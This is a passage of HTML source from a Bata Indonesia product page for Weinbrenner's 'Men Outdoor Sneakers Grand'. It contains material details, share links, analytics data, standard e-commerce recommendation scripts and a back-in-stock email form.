  2954.            <span class="cc-description-attribute-label">Kedalaman:</span>
  2955.            
  2956.        </li>
  2957.  
  2958.        
  2959.        <li class="d-none" data-target="strapLength">
  2960.            <span class="cc-description-attribute-label">product.tabs.strap.length</span>
  2961.            
  2962.        </li>
  2963.  
  2964.        
  2965.        <li class="d-none" data-target="additionalHandle">
  2966.            <span class="cc-description-attribute-label">product.tabs.additional.handle</span>
  2967.            
  2968.        </li>
  2969.  
  2970.        
  2971.  
  2972.        
  2973.  
  2974.        
  2975.  
  2976.        <li class="d-none" data-target="technicalDescription">
  2977.    <span class="cc-description-attribute-label">product.tabs.technical.description</span>
  2978.    
  2979. </li>
  2980.  
  2981.    </ul>
  2982. </div>
  2983.  
  2984. <ul class="cc-pdp__links ">
  2985.    
  2986.        <li class="cc-pdp__link">
  2987.            <a href="/id/pria/" aria-current="page">
  2988.                Pria
  2989.            </a>
  2990.        </li>
  2991.    
  2992.        <li class="cc-pdp__link">
  2993.            <a href="/id/pria/alas-kaki/" aria-current="page">
  2994.                Alas Kaki
  2995.            </a>
  2996.        </li>
  2997.    
  2998.        <li class="cc-pdp__link">
  2999.            <a href="/id/pria/alas-kaki/sepatu-outdoor/" aria-current="page">
  3000.                Sepatu Outdoor
  3001.            </a>
  3002.        </li>
  3003.    
  3004.  
  3005.    
  3006. </ul>
  3007.  
  3008.                </div>
  3009.                <div class="cc-pdp-details-section__col cc-pdp-details-section__col--right">
  3010.                    <!-- Product Details Info-->
  3011.                    
  3012.  
  3013.  
  3014.  
  3015.  
  3016.  
  3017.    <div class="b-product-info">
  3018.        <ul id="pdp-accordions" class="b-accordion b-pdp__product-tabs cc-pdp-accordions">
  3019.            <div class="card b-accordion__item cc-pdp-accordion-card">
  3020.                <div class="card-header" id="headingMaterialAccordion">
  3021.                    <h5 class="mb-0 cc-accordion-header-title">
  3022.                        <button class="pt-0 js-accordionPDP" data-toggle="collapse" data-target="#materialAccordion" aria-expanded="true"
  3023.                            aria-controls="materialAccordion">
  3024.                            <span>Bahan</span>
  3025.                            <svg class="iconClassCommon cc-pdp--accordion--icon">
  3026.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-arrow-filter" />
  3027. </svg>
  3028.                        </button>
  3029.                    </h5>
  3030.                </div>
  3031.  
  3032.                <div id="materialAccordion" class="collapse show" aria-labelledby="headingMaterialAccordion"
  3033.                    data-parent="#pdp-accordions">
  3034.                    <div class="card-body">
  3035.                        <div class="b-accordion__content">
  3036.                            <div class="b-tabs_product-description">
  3037.                                
  3038.                                <div class="b-pdp__material cc-pdp-material ">
  3039.                                    <span data-target="productMaterialHTML">
  3040.                                        <ul class="b-pdp__material-list">
  3041.                                            
  3042.                                                <li class="b-pdp__material-item cc-pdp-material-item">
  3043.                                                    <div class="b-pdp__material-type cc-pdp__material-type ">
  3044.                                                        <img src="/on/demandware.static/Sites-bata-id-Site/-/default/dw5fc40c4e/images/material/upper.svg"
  3045.                                                            alt="Upper" width="40" height="18" />
  3046.                                                        <span class="b-pdp__text">Upper</span>
  3047.                                                    </div>
  3048.                                                    <span class="b-pdp__material-info cc-pdp__material-info">
  3049.                                                        <img alt="TEKSTIL"
  3050.                                                            src="/on/demandware.static/Sites-bata-id-Site/-/default/dw73d6701e/images/material/other.svg"
  3051.                                                            title="TEKSTIL" width="18" height="22" />
  3052.                                                        <span class="b-pdp__text">TEKSTIL</span>
  3053.                                                    </span>
  3054.                                                </li>
  3055.                                            
  3056.                                                <li class="b-pdp__material-item cc-pdp-material-item">
  3057.                                                    <div class="b-pdp__material-type cc-pdp__material-type ">
  3058.                                                        <img src="/on/demandware.static/Sites-bata-id-Site/-/default/dw97ed92af/images/material/outersole.svg"
  3059.                                                            alt="Outsole" width="40" height="18" />
  3060.                                                        <span class="b-pdp__text">Outsole</span>
  3061.                                                    </div>
  3062.                                                    <span class="b-pdp__material-info cc-pdp__material-info">
  3063.                                                        <img alt="RUBBER"
  3064.                                                            src="/on/demandware.static/Sites-bata-id-Site/-/default/dw73d6701e/images/material/other.svg"
  3065.                                                            title="RUBBER" width="18" height="22" />
  3066.                                                        <span class="b-pdp__text">RUBBER</span>
  3067.                                                    </span>
  3068.                                                </li>
  3069.                                            
  3070.                                                <li class="b-pdp__material-item cc-pdp-material-item">
  3071.                                                    <div class="b-pdp__material-type cc-pdp__material-type ">
  3072.                                                        <img src="/on/demandware.static/Sites-bata-id-Site/-/default/dw3af7c7c3/images/material/lining.svg"
  3073.                                                            alt="Jahitan" width="40" height="18" />
  3074.                                                        <span class="b-pdp__text">Jahitan</span>
  3075.                                                    </div>
  3076.                                                    <span class="b-pdp__material-info cc-pdp__material-info">
  3077.                                                        <img alt="TEKSTIL"
  3078.                                                            src="/on/demandware.static/Sites-bata-id-Site/-/default/dw73d6701e/images/material/other.svg"
  3079.                                                            title="TEKSTIL" width="18" height="22" />
  3080.                                                        <span class="b-pdp__text">TEKSTIL</span>
  3081.                                                    </span>
  3082.                                                </li>
  3083.                                            
  3084.                                        </ul>
  3085.                                    </span>
  3086.                                </div>
  3087.                            </div>
  3088.                        </div>
  3089.                    </div>
  3090.                </div>
  3091.            </div>
  3092.  
  3093.            
  3094.  
  3095.            
  3096.  
  3097.  
  3098.            <div class="card b-accordion__item cc-pdp-accordion-card">
  3099.                <div class="card-header b-accordion__title js-accordion-header js-delivery-header"
  3100.                    data-cmp="productDeliveryAccordion" id="headingDeliveryAccordion">
  3101.                    <h5 class="mb-0 cc-accordion-header-title">
  3102.                        <button id="accordion-delivery-instruction" type="submit" class="collapsed js-accordionPDP"
  3103.                            data-toggle="collapse" data-target="#deliveryAccordion" aria-expanded="false"
  3104.                            aria-controls="deliveryAccordion">
  3105.                            <span> Pengiriman dan retur</span>
  3106.                            <svg class="iconClassCommon cc-pdp--accordion--icon">
  3107.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-arrow-filter" />
  3108. </svg>
  3109.                        </button>
  3110.                    </h5>
  3111.                </div>
  3112.                <div id="deliveryAccordion" class="cc-pdp__accordion__delivery collapse" aria-labelledby="headingDeliveryAccordion"
  3113.                    data-parent="#pdp-accordions">
  3114.                    <div class="card-body cc-card-body-asset">
  3115.                        <div class="h-position-relative b-accordion__content js-delivery-asset" id="destination-block"
  3116.                            data-cmp="preloaderBlock" data-preloader-event="delivery.accordion.ajax.start"
  3117.                            data-is-relative="true"
  3118.                            data-delivery-asset-id="/on/demandware.store/Sites-bata-id-Site/in_ID/Product-ContentAssetInPdp?asset=delivery-asset&amp;pid=540M_2023_8406005">
  3119.                        </div>
  3120.  
  3121.                        
  3122.                    </div>
  3123.                </div>
  3124.            </div>
  3125.  
  3126.            <div class="card b-accordion__item cc-pdp-accordion-card">
  3127.                <div class="card-header b-accordion__title js-accordion-header js-delivery-header"
  3128.                    data-cmp="productShareAccordion" id="headingShareAccordion">
  3129.                    <h5 class="mb-0 cc-accordion-header-title">
  3130.                        <button type="submit" class="collapsed js-accordionPDP"
  3131.                            data-toggle="collapse" data-target="#shareAccordion" aria-expanded="false"
  3132.                            aria-controls="shareAccordion">
  3133.                            <span> Bagikan</span>
  3134.                            <svg class="iconClassCommon cc-pdp--accordion--icon">
  3135.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-arrow-filter" />
  3136. </svg>
  3137.                        </button>
  3138.                    </h5>
  3139.                </div>
  3140.  
  3141.                <div id="shareAccordion" class="collapse" aria-labelledby="headingShareAccordion"
  3142.                    data-parent="#pdp-accordions">
  3143.                    <div class="card-body">
  3144.                        <div class="b-accordion__content">
  3145.                            <div class="b-tabs_product-description">
  3146.                                
  3147.  
  3148.  
  3149.  
  3150. <div class="social-container cc-social-container">
  3151.    <ul class="social-icons cc-social-icons" data-analytics-pid="540M_2023_8406005">
  3152.        <li>
  3153.            <a class="js-analytics-socialIcon" href="https://www.facebook.com/share.php?u=https%3A%2F%2Fwww.bata.com%2Fid%2Fpria%2Falas-kaki%2Fsepatu-outdoor%2Fmen-outdoor-sneakers-grand-540M_2023_8406005.html" title="label.social.facebook" data-share="facebook" aria-label="label.social.facebook" class="share-icons" target="_blank">
  3154.                <svg class="iconClassCommon cc-pdp--social--icon">
  3155.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-facebook" />
  3156. </svg>
  3157.                <span class="cc-social-text">Facebook</span>
  3158.            </a>
  3159.        </li>
  3160.        <li>
  3161.            <a class="js-analytics-socialIcon" href="https://pinterest.com/pin/create/button/?url=https%3A%2F%2Fwww.bata.com%2Fid%2Fpria%2Falas-kaki%2Fsepatu-outdoor%2Fmen-outdoor-sneakers-grand-540M_2023_8406005.html&description=Men%20Outdoor%20Sneakers%20Grand&media=https%3A%2F%2Fwww.bata.com%2Fdw%2Fimage%2Fv2%2FBCLG_PRD%2Fon%2Fdemandware.static%2F-%2FSites-bata-id-master-catalog%2Fdefault%2Fdwa41a8e3f%2Fimages%2Flarge%2F8406005_1.jpg%3Fsw%3D800%26sh%3D800" data-share="pinterest" title="label.social.pinterest" aria-label="label.social.pinterest" class="share-icons" target="_blank">
  3162.                <svg class="iconClassCommon cc-pdp--social--icon">
  3163.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-pinterest" />
  3164. </svg>
  3165.                <span class="cc-social-text">Pinterest</span>
  3166.            </a>
  3167.        </li>
  3168.        <li>
  3169.            <a class="js-analytics-socialIcon" href="https://x.com/share?url=https%3A%2F%2Fwww.bata.com%2Fid%2Fpria%2Falas-kaki%2Fsepatu-outdoor%2Fmen-outdoor-sneakers-grand-540M_2023_8406005.html&text=Men Outdoor Sneakers Grand" data-share="x" title="label.social.x" aria-label="label.social.x" class="share-icons" target="_blank">
  3170.                <svg class="iconClassCommon cc-pdp--social--icon">
  3171.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-x" />
  3172. </svg>
  3173.                <span class="cc-social-text">X</span>
  3174.            </a>
  3175.        </li>
  3176.        <li>
  3177.        <input type="hidden" id="shareUrl" value="https://www.bata.com/id/pria/alas-kaki/sepatu-outdoor/men-outdoor-sneakers-grand-540M_2023_8406005.html"/>
  3178.        </li>
  3179.    </ul>
  3180. </div>
  3181.  
  3182.                            </div>
  3183.                        </div>
  3184.                    </div>
  3185.                </div>
  3186.            </div>
  3187.        </ul>
  3188.    </div>
  3189.  
  3190.  
  3191.                </div>
  3192.            </div>
  3193.        </div>
  3194.    </div>
  3195.  
  3196.    
  3197.  
  3198.    <div class="container product-detail product-wrapper cc-product-detail cc-cat-pria">
  3199.  
  3200.        <!-- start of GTM -->
  3201.            <!-- product page (PDP)-->
  3202.  
  3203. <div class="analytics-productPDP analytics-product"
  3204.    data-name="Men Outdoor Sneakers Grand"
  3205.    data-id="540M_2023_8406005"
  3206.    data-dimension1="540M_ER84000541M"
  3207.    data-dimension2="8406005"
  3208.    data-dimension3="540M_2023_8406005"
  3209.    data-price="449900.00"
  3210.    data-brand="WEINBRENNER"
  3211.    data-category="ID_Men_Shoes_Outdoor"
  3212.    data-description="Weinbrenner kembali menghadirkan alas kaki untuk membuat penampilan Anda semakin fashionable dan stylish. Produk fashion ini semakin sempurna dengan material PU dan model desain yang begitu trendi dan dinamis. Alas kaki ini pun nyaman juga ringan dengan sol kuat sehingga Anda dapat tampil gaya sekaligus nyaman beraktivitas seharian dengan sepatu ini. Material berkualitas pada alas kaki ini tidak hanya mudah dicuci atau dibersihkan tapi juga tahan lama. Jalani hari dengan tampilan memesona dan kaki yang nyaman hanya dengan alas kaki istimewa satu ini."
  3213.    data-producturl="https://www.bata.com/id/men-outdoor-sneakers-grand-540M_ER84000541M.html"
  3214.    data-categoryurl="https://www.bata.com/id/pria/alas-kaki/sepatu-outdoor/"
  3215.    data-imageurl="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=800&amp;sh=800"
  3216.    data-color="null"
  3217.    
  3218.    data-quantity="1.0"
  3219.    data-category1="Pria"
  3220.    data-category2="Alas Kaki"
  3221.    data-category3="Sepatu Outdoor"
  3222.    
  3223.    
  3224.    
  3225.    
  3226.    data-gender-name="Men"
  3227.    
  3228.    data-stock-status="IN_STOCK"
  3229.    ></div>
  3230.  
  3231.        <!-- end of GTM -->
  3232.        
  3233.  
  3234.        
  3235.  
  3237. <!-- =============== This snippet of JavaScript handles fetching the dynamic recommendations from the remote recommendations server
  3238. and then makes a call to render the configured template with the returned recommended products: ================= -->
  3239.  
  3240. <script>
  3241. (function(){
  3242. // window.CQuotient is provided on the page by the Analytics code:
  3243. var cq = window.CQuotient;
  3244. var dc = window.DataCloud;
  3245. var isCQ = false;
  3246. var isDC = false;
  3247. if (cq && ('function' == typeof cq.getCQUserId)
  3248. && ('function' == typeof cq.getCQCookieId)
  3249. && ('function' == typeof cq.getCQHashedEmail)
  3250. && ('function' == typeof cq.getCQHashedLogin)) {
  3251. isCQ = true;
  3252. }
  3253. if (dc && ('function' == typeof dc.getDCUserId)) {
  3254. isDC = true;
  3255. }
  3256. if (isCQ || isDC) {
  3257. var recommender = '[[&quot;pdp-product-recommendation&quot;]]';
  3258. var slotRecommendationType = 'RECOMMENDATION';
  3259. // removing any leading/trailing square brackets and escaped quotes:
  3260. recommender = recommender.replace(/\[|\]|&quot;/g, '');
  3261. var separator = '|||';
  3262. var slotConfigurationUUID = '021e96cfd1d7731ded9d3fadf1';
  3263. var contextAUID = '540M_ER84000541M';
  3264. var contextSecondaryAUID = '';
  3265. var contextAltAUID = '540M_2023_8406005';
  3266. var contextType = 'vgroup';
  3267. var anchorsArray = [];
  3268. var contextAUIDs = contextAUID.split(separator);
  3269. var contextSecondaryAUIDs = contextSecondaryAUID.split(separator);
  3270. var contextAltAUIDs = contextAltAUID.split(separator);
  3271. var contextTypes = contextType.split(separator);
  3272. var slotName = 'pdp-recommendations';
  3273. var slotConfigId = '20240919-pdp-reccomendation';
  3274. var slotConfigTemplate = 'slots/recommendation/recommendedProductsGrid.isml';
  3275. if (contextAUIDs.length == contextSecondaryAUIDs.length) {
  3276. for (i = 0; i < contextAUIDs.length; i++) {
  3277. anchorsArray.push({
  3278. id: contextAUIDs[i],
  3279. sku: contextSecondaryAUIDs[i],
  3280. type: contextTypes[i],
  3281. alt_id: contextAltAUIDs[i]
  3282. });
  3283. }
  3284. } else {
  3285. anchorsArray = [{id: contextAUID, sku: contextSecondaryAUID, type: contextType, alt_id: contextAltAUID}];
  3286. }
  3287. var urlToCall = '/on/demandware.store/Sites-bata-id-Site/in_ID/CQRecomm-Start';
  3288. var params = null;
  3289. if (isCQ) {
  3290. params = {
  3291. userId: cq.getCQUserId(),
  3292. cookieId: cq.getCQCookieId(),
  3293. emailId: cq.getCQHashedEmail(),
  3294. loginId: cq.getCQHashedLogin(),
  3295. anchors: anchorsArray,
  3296. slotId: slotName,
  3297. slotConfigId: slotConfigId,
  3298. slotConfigTemplate: slotConfigTemplate,
  3299. ccver: '1.03'
  3300. };
  3301. }
  3302. // console.log("Recommendation Type - " + slotRecommendationType + ", Recommender Selected - " + recommender);
  3303. if (isDC && slotRecommendationType == 'DATA_CLOUD_RECOMMENDATION') {
  3304. // Set DC variables for API call
  3305. dcIndividualId = dc.getDCUserId();
  3306. dcUrl = dc.getDCPersonalizationPath();
  3307. if (dcIndividualId && dcUrl && dcIndividualId != '' && dcUrl != '') {
  3308. // console.log("Fetching CDP Recommendations");
  3309. var productRecs = {};
  3310. productRecs[recommender] = getCDPRecs(dcUrl, dcIndividualId, recommender);
  3311. cb(productRecs);
  3312. }
  3313. } else if (isCQ && slotRecommendationType != 'DATA_CLOUD_RECOMMENDATION') {
  3314. if (cq.getRecs) {
  3315. cq.getRecs(cq.clientId, recommender, params, cb);
  3316. } else {
  3317. cq.widgets = cq.widgets || [];
  3318. cq.widgets.push({
  3319. recommenderName: recommender,
  3320. parameters: params,
  3321. callback: cb
  3322. });
  3323. }
  3324. }
  3325. };
  3326. function cb(parsed) {
  3327. var arr = parsed[recommender].recs;
  3328. if (arr && 0 < arr.length) {
  3329. var filteredProductIds = '';
  3330. for (i = 0; i < arr.length; i++) {
  3331. filteredProductIds = filteredProductIds + 'pid' + i + '=' + encodeURIComponent(arr[i].id) + '&';
  3332. }
  3333. filteredProductIds = filteredProductIds.substring(0, filteredProductIds.length - 1);//to remove the trailing '&'
  3334. var formData = 'auid=' + encodeURIComponent(contextAUID)
  3335. + '&scid=' + slotConfigurationUUID
  3336. + '&' + filteredProductIds;
  3337. var request = new XMLHttpRequest();
  3338. request.open('POST', urlToCall, true);
  3339. request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  3340. request.onreadystatechange = function() {
  3341. if (this.readyState === 4) {
  3342. // Got the product data from DW, showing the products now by changing the inner HTML of the DIV:
  3343. var divId = 'cq_recomm_slot-' + slotConfigurationUUID;
  3344. document.getElementById(divId).innerHTML = this.responseText;
  3345. //find and evaluate scripts in response:
  3346. var scripts = document.getElementById(divId).getElementsByTagName('script');
  3347. if (null != scripts) {
  3348. for (var i=0;i<scripts.length;i++) {//not combining script snippets on purpose
  3349. var srcScript = document.createElement('script');
  3350. srcScript.text = scripts[i].innerHTML;
  3351. srcScript.asynch = scripts[i].asynch;
  3352. srcScript.defer = scripts[i].defer;
  3353. srcScript.type = scripts[i].type;
  3354. srcScript.charset = scripts[i].charset;
  3355. document.head.appendChild( srcScript );
  3356. document.head.removeChild( srcScript );
  3357. }
  3358. }
  3359. }
  3360. };
  3361. request.send(formData);
  3362. request = null;
  3363. }
  3364. };
  3365. })();
  3366. </script>
  3367. <!-- The DIV tag id below is unique on purpose in case there are multiple recommendation slots on the same .isml page: -->
  3368. <div id="cq_recomm_slot-021e96cfd1d7731ded9d3fadf1"></div>
  3369. <!-- ====================== snippet ends here ======================== -->
  3372.    </div>
  3373.  
  3374.    
  3375.  
  3376.    <div class="container product-detail product-wrapper cc-product-detail cc-cat-pria">
  3377.        
  3378.  
  3380. <!-- =============== This snippet of JavaScript handles fetching the dynamic recommendations from the remote recommendations server
  3381. and then makes a call to render the configured template with the returned recommended products: ================= -->
  3382.  
  3383. <script>
  3384. (function(){
  3385. // window.CQuotient is provided on the page by the Analytics code:
  3386. var cq = window.CQuotient;
  3387. var dc = window.DataCloud;
  3388. var isCQ = false;
  3389. var isDC = false;
  3390. if (cq && ('function' == typeof cq.getCQUserId)
  3391. && ('function' == typeof cq.getCQCookieId)
  3392. && ('function' == typeof cq.getCQHashedEmail)
  3393. && ('function' == typeof cq.getCQHashedLogin)) {
  3394. isCQ = true;
  3395. }
  3396. if (dc && ('function' == typeof dc.getDCUserId)) {
  3397. isDC = true;
  3398. }
  3399. if (isCQ || isDC) {
  3400. var recommender = '[[&quot;recently-viewed&quot;]]';
  3401. var slotRecommendationType = 'RECOMMENDATION';
  3402. // removing any leading/trailing square brackets and escaped quotes:
  3403. recommender = recommender.replace(/\[|\]|&quot;/g, '');
  3404. var separator = '|||';
  3405. var slotConfigurationUUID = 'f9d4879cbfe75da569a0904e5d';
  3406. var contextAUID = '';
  3407. var contextSecondaryAUID = '';
  3408. var contextAltAUID = '';
  3409. var contextType = '';
  3410. var anchorsArray = [];
  3411. var contextAUIDs = contextAUID.split(separator);
  3412. var contextSecondaryAUIDs = contextSecondaryAUID.split(separator);
  3413. var contextAltAUIDs = contextAltAUID.split(separator);
  3414. var contextTypes = contextType.split(separator);
  3415. var slotName = 'pdp-last-visited';
  3416. var slotConfigId = '20240919-viewed-recently';
  3417. var slotConfigTemplate = 'slots/recommendation/recommendedProductsStatic.isml';
  3418. if (contextAUIDs.length == contextSecondaryAUIDs.length) {
  3419. for (i = 0; i < contextAUIDs.length; i++) {
  3420. anchorsArray.push({
  3421. id: contextAUIDs[i],
  3422. sku: contextSecondaryAUIDs[i],
  3423. type: contextTypes[i],
  3424. alt_id: contextAltAUIDs[i]
  3425. });
  3426. }
  3427. } else {
  3428. anchorsArray = [{id: contextAUID, sku: contextSecondaryAUID, type: contextType, alt_id: contextAltAUID}];
  3429. }
  3430. var urlToCall = '/on/demandware.store/Sites-bata-id-Site/in_ID/CQRecomm-Start';
  3431. var params = null;
  3432. if (isCQ) {
  3433. params = {
  3434. userId: cq.getCQUserId(),
  3435. cookieId: cq.getCQCookieId(),
  3436. emailId: cq.getCQHashedEmail(),
  3437. loginId: cq.getCQHashedLogin(),
  3438. anchors: anchorsArray,
  3439. slotId: slotName,
  3440. slotConfigId: slotConfigId,
  3441. slotConfigTemplate: slotConfigTemplate,
  3442. ccver: '1.03'
  3443. };
  3444. }
  3445. // console.log("Recommendation Type - " + slotRecommendationType + ", Recommender Selected - " + recommender);
  3446. if (isDC && slotRecommendationType == 'DATA_CLOUD_RECOMMENDATION') {
  3447. // Set DC variables for API call
  3448. dcIndividualId = dc.getDCUserId();
  3449. dcUrl = dc.getDCPersonalizationPath();
  3450. if (dcIndividualId && dcUrl && dcIndividualId != '' && dcUrl != '') {
  3451. // console.log("Fetching CDP Recommendations");
  3452. var productRecs = {};
  3453. productRecs[recommender] = getCDPRecs(dcUrl, dcIndividualId, recommender);
  3454. cb(productRecs);
  3455. }
  3456. } else if (isCQ && slotRecommendationType != 'DATA_CLOUD_RECOMMENDATION') {
  3457. if (cq.getRecs) {
  3458. cq.getRecs(cq.clientId, recommender, params, cb);
  3459. } else {
  3460. cq.widgets = cq.widgets || [];
  3461. cq.widgets.push({
  3462. recommenderName: recommender,
  3463. parameters: params,
  3464. callback: cb
  3465. });
  3466. }
  3467. }
  3468. };
  3469. function cb(parsed) {
  3470. var arr = parsed[recommender].recs;
  3471. if (arr && 0 < arr.length) {
  3472. var filteredProductIds = '';
  3473. for (i = 0; i < arr.length; i++) {
  3474. filteredProductIds = filteredProductIds + 'pid' + i + '=' + encodeURIComponent(arr[i].id) + '&';
  3475. }
  3476. filteredProductIds = filteredProductIds.substring(0, filteredProductIds.length - 1);//to remove the trailing '&'
  3477. var formData = 'auid=' + encodeURIComponent(contextAUID)
  3478. + '&scid=' + slotConfigurationUUID
  3479. + '&' + filteredProductIds;
  3480. var request = new XMLHttpRequest();
  3481. request.open('POST', urlToCall, true);
  3482. request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  3483. request.onreadystatechange = function() {
  3484. if (this.readyState === 4) {
  3485. // Got the product data from DW, showing the products now by changing the inner HTML of the DIV:
  3486. var divId = 'cq_recomm_slot-' + slotConfigurationUUID;
  3487. document.getElementById(divId).innerHTML = this.responseText;
  3488. //find and evaluate scripts in response:
  3489. var scripts = document.getElementById(divId).getElementsByTagName('script');
  3490. if (null != scripts) {
  3491. for (var i=0;i<scripts.length;i++) {//not combining script snippets on purpose
  3492. var srcScript = document.createElement('script');
  3493. srcScript.text = scripts[i].innerHTML;
  3494. srcScript.asynch = scripts[i].asynch;
  3495. srcScript.defer = scripts[i].defer;
  3496. srcScript.type = scripts[i].type;
  3497. srcScript.charset = scripts[i].charset;
  3498. document.head.appendChild( srcScript );
  3499. document.head.removeChild( srcScript );
  3500. }
  3501. }
  3502. }
  3503. };
  3504. request.send(formData);
  3505. request = null;
  3506. }
  3507. };
  3508. })();
  3509. </script>
  3510. <!-- The DIV tag id below is unique on purpose in case there are multiple recommendation slots on the same .isml page: -->
  3511. <div id="cq_recomm_slot-f9d4879cbfe75da569a0904e5d"></div>
  3512. <!-- ====================== snippet ends here ======================== -->
  3515.  
  3516.        <div class="product-breadcrumb cc-product-breadcrumb cc-product-breadcrumb--mobile">
  3517.            
  3518.  
  3519.  
  3520.  
  3521. <div class="col" role="navigation" aria-label="Breadcrumb">
  3522.    <ol class="cc-breadcrumb--container" data-target="breadcrumbs">
  3523.        
  3524.            <li class="cc-breadcrumb cc-breadcrumb--parentCategory">
  3525.                
  3526.                    <a href="/id/pria/" aria-current="page">
  3527.                        Pria
  3528.                    </a>
  3529.                    <span class="cc-breadcrumb--icon d-inline-block"></span>
  3530.                
  3531.            </li>
  3532.  
  3533.        
  3534.            <li class="cc-breadcrumb cc-breadcrumb--parentCategory">
  3535.                
  3536.                    <a href="/id/pria/alas-kaki/" aria-current="page">
  3537.                        Alas Kaki
  3538.                    </a>
  3539.                    <span class="cc-breadcrumb--icon d-inline-block"></span>
  3540.                
  3541.            </li>
  3542.  
  3543.        
  3544.            <li class="cc-breadcrumb ">
  3545.                
  3546.                    <a href="/id/pria/alas-kaki/sepatu-outdoor/" class="cc-breadcrumb--last"> Sepatu Outdoor</a>
  3547.                
  3548.            </li>
  3549.  
  3550.        
  3551.    </ol>
  3552. </div>
  3553.  
  3554.        </div>
  3555.  
  3556.        <div class="cc-pdp__stickyBtn__wrapper cc-pdp__stickyBtn__wrapper__scrollDown">
  3557.  
  3558.            
  3559.                <button data-toggle="modal" data-target="#pdpStickyAddToCart" class="js-stickyAddToCart cc-button-type-1"
  3560.                    data-pid="540M_2023_8406005" data-is-disabled='true'
  3561.                    >
  3562.                    Masukkan Keranjang
  3563.                </button>
  3564.            
  3565.  
  3566.        </div>
  3567.        <div class="modal fade cc-modal-back-in-stock cc-modal-animation pr-0" id="backInStockModal" tabindex="-1" role="dialog" aria-labelledby="backInStockModal" aria-hidden="true">
  3568.    <div class="modal-dialog modal-dialog-centered" role="document">
  3569.        <div class="modal-content">
  3570.            <div class="modal-header cc-pdp-modal-header">
  3571.                <span class="cc-pdp-modal-header-title" id="modalBackInStockTitle">label.backinstock.heading</span>
  3572.                <button type="button" class="button-close cc-pdp-button-close" data-dismiss="modal" aria-label="Close">
  3573.                    <span aria-hidden="true" class="icon-close-remove"></span>
  3574.                </button>
  3575.            </div>
  3576.            <div class="modal-body cc-modal-body">
  3577.                <form class="backinstock-form" action="/on/demandware.store/Sites-bata-id-Site/in_ID/Product-BackInStockDialogForm" method="POST" name="dwfrm_backInStock" id="email-form">
  3578.    <div class="backinstock-body">
  3579.        <p class="cc-modal-description">
  3580.            msg.backinstock
  3581.        </p>
  3582.        <div class="cc-backinstock-content-form">
  3583.            <div class="cc-form-group required">
  3584.                <div class="cc-mandatory-label">backinstock.mandatory.field</div>
  3585.                <div class="cc-content-input cc-hide-underlined dwfrm_backInStock_email">
  3586.                    <input
  3587.                        class="cc-input form-control required"
  3588.                        id="E-mail"
  3589.                        placeholder="email@gmail.com" type="email"
  3590.                        name="dwfrm_backInStock_email"
  3591.                        data-missing-error="Kolom yang dibutuhkan"
  3592.                        data-invalid-email="Alamat e-mail tidak valid"
  3593.                        data-pattern-mismatch="Please enter a valid value"
  3594.                        aria-describedby="form-contact-email-error"
  3595.                        value=""
  3596.                        name="dwfrm_backInStock_email" required aria-required="true" value="" maxLength="254" pattern="^[\w\-\.\+~!#$%'*\/=?\^`\|\{\}&]+@([\w\-]+\.)+[\w\-]{2,}"
  3597.                    />
  3598.                    <label class="cc-label" for="backinstock-email">
  3599.                        E-mail
  3600.                    </label>
  3601.                    <span class="cc-error-message invalid-feedback" id="form-email-error"><span class="cc-icon icon-bubble-warning"></span> <span class="cc-text-message"></span></span>
  3602.                </div>
  3603.            </div>
  3604.    
  3605.            <input type="hidden" id="product-id" name="productID" value="" />
  3606.            <input type="hidden" id="product-size" name="productSize" value="" />
  3607.  
  3608.            <!-- terms and condition -->
  3609.            <div class="cc-form-group required">
  3610.                <div class="cc-content-checkbox custom-checkbox" data-not-accepted-error="Pilihan ini wajib diterima untuk menyelesaikan pendaftaran">
  3611.                    <input type="checkbox" class="cc-checkbox custom-control-input form-control" id="termsAndConditions"
  3612.                        data-missing-error="Kolom yang dibutuhkan"
  3613.                        name="dwfrm_backInStock_termsAndConditions"
  3614.                        required
  3615.                        selected
  3616.                    />
  3617.                    <label class="cc-check-label custom-control-label" for="termsAndConditions">
  3618.                        backinstock.termsandconditions    
  3619.                    </label>
  3620.                    <span class="cc-error-message invalid-feedback" id="form-termsAndConditions-error"><span
  3621.                        class="cc-icon icon-bubble-warning">
  3622.                        </span>
  3623.                            <span class="cc-text-message"></span>
  3624.                    </span>
  3625.                </div>
  3626.            </div>
  3627.        </div>
  3628.        <button
  3629.            type="submit"
  3630.            id="submitEmailButton"
  3631.            class="cc-button-type-1">
  3632.            button.backinstock.send
  3633.        </button>
  3634.    </div>
  3635.    <div class="serviceMessage" style="display:none">
  3636.    </div>
  3637.  
  3638. </form>
  3639.  
  3640. <script>
  3641.    document.addEventListener('DOMContentLoaded', function() {  
  3642.  
  3643.        $('#backInStockModal').on('show.bs.modal', function (event) {
  3644.            var button = event.relatedTarget;
  3645.  
  3646.            var productID = button.getAttribute('data-pid');
  3647.            var size = button.getAttribute('data-display-value');
  3648.  
  3649.            var inputProductID = document.getElementById('product-id');
  3650.            var inputSize = document.getElementById('product-size');
  3651.  
  3652.            if (inputProductID) {
  3653.                inputProductID.value = productID;
  3654.            }
  3655.            if (inputSize) {
  3656.                inputSize.value = size;
  3657.            }
  3658.        });
  3659.    });
  3660. </script>
  3661.  
  3662.  
  3663.            </div>
  3664.        </div>
  3665.    </div>
  3666. </div>
  3667.  
  3668.        <div class="modal modal-bottom fade cc-modal-add-to-cart" id="pdpStickyAddToCart" tabindex="-1" aria-labelledby="pdpStickyAddToCart" aria-hidden="true">
  3669.        <div class="modal-dialog">
  3670.            <div class="modal-content">
  3671.                <div class="modal-header">
  3672.                    <!-- Product Name -->
  3673.                    <div class="cc-content-prod-name">
  3674.                        <span class="product-name cc-pdp-product-name">Men Outdoor Sneakers Grand</span>
  3675.  
  3676.                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
